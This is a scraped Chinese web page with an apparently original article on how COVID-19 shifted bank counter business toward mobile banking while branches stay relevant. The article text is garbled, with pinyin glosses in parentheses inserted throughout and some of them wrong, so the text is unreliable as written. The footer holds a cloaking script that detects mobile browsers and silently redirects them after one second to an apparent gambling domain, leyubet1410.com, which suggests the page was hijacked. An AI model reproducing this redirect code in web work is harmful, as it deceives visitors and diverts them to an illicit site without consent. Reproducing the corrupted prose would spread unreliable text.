ku游戏网站

今天是(shi)2021年(nian)7月31日 星期六,欢迎光临本站(zhan) 

网点管理

【原创】疫情对柜面业务的影响

文字:[大][中][小] 手机页面二维码 2020/8/31     浏览次数:    

互联网、大数据(ju)、人工智能、云计(ji)算和(he)区块链,这是(shi)近年(nian)最常见的(de)几个词语,技术对数字化(hua)(hua)转(zhuan)型(xing)时代下银行业的(de)普惠金融(rong)提供了很好(hao)的(de)支(zhi)持,部分业务早已由(you)柜(ju)面成功转(zhuan)移到了线上,此次疫情更是(shi)催化(hua)(hua)了线上业务的(de)蓬勃发展(zhan),线上业务发展(zhan)了是(shi)否就代表(biao)柜(ju)面业务萧(xiao)条了呢?随(sui)着线上业务替代率的(de)增加,柜(ju)面操作型(xing)业务确实会减(jian)少,这并不(bu)代表(biao)柜(ju)面业务从此萧(xiao)条,也不(bu)代表(biao)网点(dian)会立刻消失。


疫情促进了柜面(mian)业务的分流


由于银(yin)行(xing)工(gong)作人员(yuan)未能及时返岗,网(wang)(wang)点又属于人流(liu)聚(ju)集的(de)场所,银(yin)行(xing)机构(gou)既要(yao)安排部分(fen)网(wang)(wang)点正常(chang)(chang)运转又要(yao)顾虑员(yuan)工(gong)的(de)身心健康,疫情期间无法每个(ge)网(wang)(wang)点都正常(chang)(chang)营业,有金(jin)融需求的(de)客户更多的(de)是通(tong)过微信(xin)公众号、网(wang)(wang)上银(yin)行(xing)、手机银(yin)行(xing)、自助(zhu)设备来(lai)办理业务(wu),尤其是简(jian)单快捷(jie)的(de)业务(wu),尽量不接触其他人。


更让人意外的(de)是,平时不擅于使用智能手机(ji)的(de)父母,疫(yi)情(qing)期间(jian)也主动要求开(kai)通手机(ji)银行。无形之中,疫(yi)情(qing)提(ti)升(sheng)了网点(dian)柜面业(ye)(ye)务(wu)(wu)(wu)的(de)分流率,一些以前从未使用线上业(ye)(ye)务(wu)(wu)(wu)的(de)人也被“形势所迫(po)”,开(kai)始尝试线上业(ye)(ye)务(wu)(wu)(wu)。一直头疼分流率上不去(qu)的(de)某些银行,迎来了客户教育的(de)“最(zui)佳时期”。


并且,手机(ji)银行APP比(bi)你想象(xiang)中更精彩(cai)。就平安银(yin)行的(de)口袋银(yin)行而言,可以完成开户、转账(zhang)、还款、投资、理财(cai)、购(gou)物、缴费、充值、保(bao)险等(deng)多项高效的(de)金融服务,还能办(ban)理个人(ren)结售汇、跨境汇款、境外(wai)汇入申(shen)报、外(wai)币理财(cai)等(deng)外(wai)汇业(ye)务,可谓是丰富多彩(cai)、引人(ren)入胜。


柜(ju)面服务(wu)仍然(ran)有价值(zhi)


一(yi)台机器业务(wu)(wu)办得(de)再(zai)(zai)好,始终是(shi)冷冰无(wu)情(qing)的(de)(de)(de)(de),没(mei)有(you)微(wei)笑、没(mei)有(you)温度、没(mei)有(you)个性(xing)化服(fu)务(wu)(wu),更(geng)挖掘不(bu)到客(ke)户的(de)(de)(de)(de)潜(qian)在(zai)需求。相比之下,柜(ju)员的(de)(de)(de)(de)微(wei)笑更(geng)让(rang)人倍感温暖,一(yi)句“您好,欢迎光临”,让(rang)人倍感亲切(qie),能(neng)给客(ke)户留下深刻印象的(de)(de)(de)(de)一(yi)定是(shi)服(fu)务(wu)(wu)。网点(dian)是(shi)银(yin)行服(fu)务(wu)(wu)的(de)(de)(de)(de)重要载体(ti),外在(zai)形式再(zai)(zai)变(bian),也(ye)不(bu)能(neng)改变(bian)其(qi)提供金(jin)融服(fu)务(wu)(wu)的(de)(de)(de)(de)本质。


线上业务暂(zan)时(shi)无法完全替(ti)代网(wang)点


尽管近几年(nian)线(xian)上业务迅速发展,功能不断增(zeng)加,但是电子银行(xing)仍然无法完全(quan)替代传统网点,比如(ru)大额取现(xian)、首次购入理(li)财等(deng)业务仍须客户(hu)亲(qin)自去网点柜台办理(li)。银行(xing)与我们(men)的钱(qian)包(bao)紧密相关(guan),一(yi)些业(ye)(ye)务出于(yu)安全考(kao)虑需要客户到现场办理(li);对(dui)于(yu)一(yi)些高(gao)净(jing)值人群来说,大额资(zi)(zi)金(jin)投(tou)资(zi)(zi)来网点详细(xi)咨询、聆听专业(ye)(ye)人员的规划建议更(geng)有利于(yu)投(tou)资(zi)(zi);对(dui)于(yu)老年人这(zhei)类客户来说,通过网银、手(shou)机银行(xing)操作不太方便,到银行(xing)网点办理(li)业(ye)(ye)务的频率相对(dui)较高(gao),借助(zhu)(zhu)工(gong)作人员的帮助(zhu)(zhu),他们能更(geng)好地享受金(jin)融服务。线下网点不会(hui)消失(shi),但一(yi)定会(hui)转(zhuan)型,网点会(hui)根据市(shi)场需求(qiu)调整定位、数量、经营策略。

返回上一步
打印此页
13818970338
浏览(lan)手机站(zhan)
微信二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();